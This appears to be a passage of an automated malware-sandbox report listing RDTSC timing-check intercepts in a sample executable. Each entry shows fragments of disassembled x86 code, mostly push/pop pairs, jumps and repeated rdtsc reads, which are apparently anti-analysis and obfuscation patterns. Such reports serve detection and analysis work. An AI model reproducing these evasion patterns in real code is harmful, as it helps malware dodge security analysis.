Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11A178A second address: 11A17B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F40A503F43Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F40A503F444h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11A17B3 second address: 11A17BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F40A5132E96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11A6000 second address: 11A6007 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11A9BA6 second address: 11A9BB0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40A5132E96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11A9BB0 second address: 11A9BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11A9BBE second address: 11A9BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B0F31 second address: 11B0F59 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F40A503F436h 0x00000008 je 00007F40A503F436h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F40A503F444h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B0F59 second address: 11B0F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B0F5D second address: 11B0F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B0F65 second address: 11B0FB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F40A5132EA5h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F40A5132EA3h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push edi 0x0000001b jmp 00007F40A5132E9Eh 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11AF860 second address: 11AF868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11AF868 second address: 11AF86C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11AF86C second address: 11AF875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11AF875 second address: 11AF892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F40A5132EAEh 0x0000000f jc 00007F40A5132E9Ah 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11AF892 second address: 11AF896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11AF9E5 second address: 11AF9E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11AFCFA second address: 11AFD04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11AFD04 second address: 11AFD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F40A5132EA0h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11AFEA8 second address: 11AFEB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F40A503F436h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B0027 second address: 11B002B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B0C57 second address: 11B0C85 instructions: 0x00000000 rdtsc 0x00000002 je 00007F40A503F43Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F40A503F448h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B0C85 second address: 11B0C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B0C8B second address: 11B0C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B0C94 second address: 11B0CA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B5AAD second address: 11B5AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B5AB1 second address: 11B5AC9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F40A5132E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40A5132E9Ah 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B5AC9 second address: 11B5ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B5ACD second address: 11B5AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B5AD7 second address: 11B5ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B5ADD second address: 11B5AF6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F40A5132EA0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B5AF6 second address: 11B5B06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F40A503F43Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B5B06 second address: 11B5B0C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11B566E second address: 11B5677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11BF37C second address: 11BF381 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11BF381 second address: 11BF394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F40A503F444h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11BF394 second address: 11BF398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11BF1B5 second address: 11BF1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11BF1B9 second address: 11BF1E1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F40A5132EAFh 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11BF1E1 second address: 11BF20E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F40A503F436h 0x0000000a pop edi 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F40A503F447h 0x00000012 push eax 0x00000013 jg 00007F40A503F436h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11C1659 second address: 11C165F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11C165F second address: 11C1663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11C1663 second address: 11C168F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F40A5132EA8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11C168F second address: 11C1693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11C1693 second address: 11C1697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11D323F second address: 11D3243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11D3243 second address: 11D324F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40A5132E96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11D324F second address: 11D3261 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F40A503F43Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11D3261 second address: 11D3267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11D4EFD second address: 11D4F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11D4F04 second address: 11D4F09 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11D4F09 second address: 11D4F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F40A503F43Ah 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jc 00007F40A503F436h 0x00000015 jmp 00007F40A503F43Dh 0x0000001a jo 00007F40A503F436h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11D4F37 second address: 11D4F3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11D8459 second address: 11D846B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F40A503F436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F40A503F438h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11E9099 second address: 11E90A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11E90A4 second address: 11E90A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11E90A8 second address: 11E90C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11EDC4A second address: 11EDC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11EC9EA second address: 11EC9EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11EC9EE second address: 11ECA12 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F40A503F445h 0x0000000b push edi 0x0000000c jp 00007F40A503F436h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ECA12 second address: 11ECA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 jmp 00007F40A5132EA3h 0x0000000d pop edi 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ECA31 second address: 11ECA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A503F441h 0x00000009 pop edi 0x0000000a pushad 0x0000000b jbe 00007F40A503F436h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007F40A503F436h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ECA59 second address: 11ECA5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ECF76 second address: 11ECF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F40A503F440h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ECF8F second address: 11ECF93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ECF93 second address: 11ECF99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ECF99 second address: 11ECFA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ECFA4 second address: 11ECFB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F40A503F436h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ECFB2 second address: 11ECFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F40A5132E96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ED291 second address: 11ED297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ED297 second address: 11ED2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A5132EA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ED2AF second address: 11ED33B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F443h 0x00000007 jo 00007F40A503F462h 0x0000000d jmp 00007F40A503F444h 0x00000012 jmp 00007F40A503F448h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F40A503F445h 0x00000020 js 00007F40A503F45Ch 0x00000026 jmp 00007F40A503F449h 0x0000002b jmp 00007F40A503F43Dh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ED639 second address: 11ED63F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11ED63F second address: 11ED649 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F40A503F43Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11EF192 second address: 11EF196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11EF196 second address: 11EF1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A503F444h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F40A503F438h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11F1E29 second address: 11F1E4F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F40A5132E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D198Fh], edi 0x00000014 push 00000004h 0x00000016 mov edx, ebx 0x00000018 push 7A6325DFh 0x0000001d pushad 0x0000001e jl 00007F40A5132E9Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11F214A second address: 11F2154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F40A503F436h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11F2154 second address: 11F2158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110C15A second address: 110C164 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F40A503F43Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C503FD second address: 4C50403 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C50403 second address: 4C50409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C705B7 second address: 4C705EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F40A5132EA3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C705EC second address: 4C705F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C705F2 second address: 4C70619 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F40A5132E9Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70619 second address: 4C7061F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C7061F second address: 4C70643 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F40A5132E9Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov eax, 3A5B7CBDh 0x00000015 mov dh, ch 0x00000017 popad 0x00000018 push esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70643 second address: 4C70647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70647 second address: 4C7064B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C7064B second address: 4C70651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70651 second address: 4C7066A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40A5132EA5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C7066A second address: 4C70698 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b jmp 00007F40A503F43Dh 0x00000010 xchg eax, esi 0x00000011 jmp 00007F40A503F43Eh 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70698 second address: 4C706B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
